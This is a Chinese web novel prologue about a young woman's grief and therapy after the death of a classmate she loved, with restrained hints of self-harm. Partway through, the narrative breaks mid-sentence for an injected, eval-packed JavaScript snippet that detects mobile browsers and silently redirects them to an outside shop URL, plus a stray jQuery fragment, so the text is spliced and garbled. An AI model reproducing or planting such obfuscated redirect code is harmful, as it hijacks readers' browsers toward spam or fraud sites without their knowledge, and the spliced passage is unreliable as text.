文/氤夏
（2026.8.08）
晋江文学城首发。
楔子
如果一定要用一句诗来形容他们所有人的结局，岁枝想，一定是那句......
“天长地久有时尽，此恨绵绵无绝期！”
—
诊室里遮光帘挡下了刺眼的阳光，室内安静得只剩下空调运转的嗡鸣声，断断续续地萦绕在四周。
眼前的心理医生又问了岁枝一个问题，这已经不知道是今天的第几个问题了：“你会刻意避开所有和他相关的地点和东西吗？”
听到医生的问题，岁枝松开了一直掐着自己掌心的手，摇了摇头。
指尖的压痕清晰可见，看上去要是再用点劲就要划开那层皮肉了。
岁枝开口的时候，喉咙发涩：“不会刻意避开，他还活着的时候院里的朋友因为他的父亲避着他，后来他死后我身边的朋友为了让我走出来也避着他，可为什么要避着他？他的存在和死亡只是生命的归宿，为什么要避着......”意识到自己的情绪太激动了，她下意识地低下头。
滚烫的泪顺着脸颊，落在压痕还未消散的掌心。
一滴滴泪烫得岁枝心里发痛。
她抬手抹掉眼泪，不停地道歉：“对不起......对不起。”
她总是控制不好自己的情绪。
心理医生将纸巾放在岁枝面前，轻声跟她说：“不用道歉，你只是压抑太久了，发泄出来就好了。”
不用道歉......
她控制不住情绪，砸了房间里的东西，吓到外婆后，她不停地道歉，外婆一边帮她收拾，一边安慰她：“没事，我的焕焕就是太痛苦了，发泄出来就好了。”
她独自蜷缩在角落里，心底上涌的窒息感压的她喘不过气，她感觉自己快要被绝望吞噬了。
宋林眠赶来的时候死死攥住她的手腕，红着眼睛一遍遍喊她的名字，声音抖得厉害：“岁枝！你给我活着！你要是再这样咱俩就绝交......”
她吼着岁枝，试着唤醒她麻木的灵魂。
明明宋林眠也很害怕，她整个人都在发抖，攥着岁枝手腕的那双手颤得格外厉害。
岁枝又一遍遍的道歉，宋林眠握着她的手说：“生病的人不需要道歉。”
她生病了，大家都说她生病了。
擦掉她眼角的泪，宋林眠又跟她说：“岁枝，去看心理医生吧，好好活着，好不好？”
岁枝眼神空洞的望着天花板上的那抹白，白得让岁枝以为她已经死了。
可手腕上密密麻麻的痛让岁枝觉得她还活着。
只要她还活着，就多一个人记得齐厌。
今天的最后一个问题，心理医生问她：“大家常常劝你往前走。在你的理解里，所谓走出来，是不是就意味着必须彻底忘掉他。”
所有人都在劝她往前走，大家都默认走出来就等同于抹去那段记忆，她就可以开启她新的人生了。
可她还是会反复地回忆，她怕自己会突然遗忘，她怕时间会冲淡那段记忆。
岁枝沉默了许久，她跟医生说：“忘不掉的。”
医生听到她的回答后放缓了语气跟她说：“你刚来的时候，我能看得出来你很抗拒疗愈。其实哀伤疗愈，它从来都不是在要求你遗忘什么。而是能让你真正的学会和自己和解，能带着有关他的记忆走下去，而那时你再想起他的时候，就不再只剩下无休止的痛苦。”
岁枝垂着眼，长长的睫毛挂着泪珠微微颤抖，她没有崩溃的哭出声，而是坐在那里安静绵长的难过。
哭吧，岁枝。
哭出来就好了。
岁枝走出诊室的时候，温温的风吹在她的脸上，路边的梧桐叶在风中沙沙作响，九月的南江美得让人觉得不真实。
这么美的九月，好像是她所有不好的故事的开始。
岁枝在老巷子口见到了齐厌的父亲。
那个曾经满脸狰狞，嗜酒如命的人，如今独自转着轮椅。那张布满细纹的脸上倒是多了几分慈祥。
齐松放在腿上的拐杖随着身体的抖动滑落到了地上，他有些艰难的挪动身体，却怎么也够不着，或许是年轻时过于臭名远扬，如今老了，路过的人谁都不愿意过来帮他。
岁枝看着他的样子，眼眶有些酸涩。别过脸已经准备离开了，却还是没忍住走回去帮他捡起了拐杖。
齐松在他自己的道谢声里认出了岁枝，抬头朝她笑了一瞬，或许是因为看到她想起了齐厌，他的眼角居然积攒了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887714|212613||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
几滴泪。
廉价，薄情，施舍，后悔，愧疚，种种情绪交杂在一起，复杂的让岁枝也分辨不清楚。
岁枝冷眼看着他突如其来的变化，心里想，原来真的有人在失去一切后才学会忏悔，用时间去覆盖曾经的凉薄。
手机在口袋里不停地震动，岁枝摸出手机，按下接听。
一边接着电话，一边转过身迈步往前走，她要离开这条巷子。
她不想看到齐松。
快递员在电话里说有岁枝的快递，让她本人过来签收一下。
岁枝问邮寄人的地址是哪里，快递员说是南江附中。
她签收完打开快递后才发现是南江附中寄来的建校30周年校刊纪念册。
垂眸看着熟悉的校刊封面，岁枝没忍住在路上就翻阅了起来。
看着和曾经一样的校刊首页，岁枝站在路口有些恍惚，光是看着印在首页的文字，她就能联想到关于那个夏天热烈的一切，以及他们曾经那份义无反顾的决心。
岁枝在翻到纪念刊的第十六页时倏地停下了脚步，指尖有些颤抖。
这面扉页里，是附中列举往届优秀毕业生的专栏。
她看到了齐厌。
专栏的最中间贴着齐厌高中时候的照片，照片里的齐厌碎发有些遮眼，整张脸看上去又冷又静，没什么情绪的望向前面的镜头，任谁都看得出来齐厌的这张照片是被老师强迫着拍的。
岁枝视线快速扫过照片下面的那一行文字。
【优秀毕业生：齐厌，毕业于南江大学附属中学，2016年斩获全国中学生物理竞赛决赛全国第二名，获取A大物理专业保送资格。】
往下看，就连齐厌高中时候的座右铭也被学校放出来了。
【学生座右铭：立志欲坚不欲锐，成功在久不在速。】
下一秒，照片上出现了一滴水渍，紧接着又是一滴，两滴......
原来……是岁枝的眼泪。
这次，所有人都能看到少年耀眼的十八岁。
大家都会记得他的璀璨，不会记得他的不堪。
岁枝笑着往前走，隔着朦胧的视线她才发现自己又走回了刚刚的巷子口。
命运在此刻闭环，而关于他们的圆，终究未满。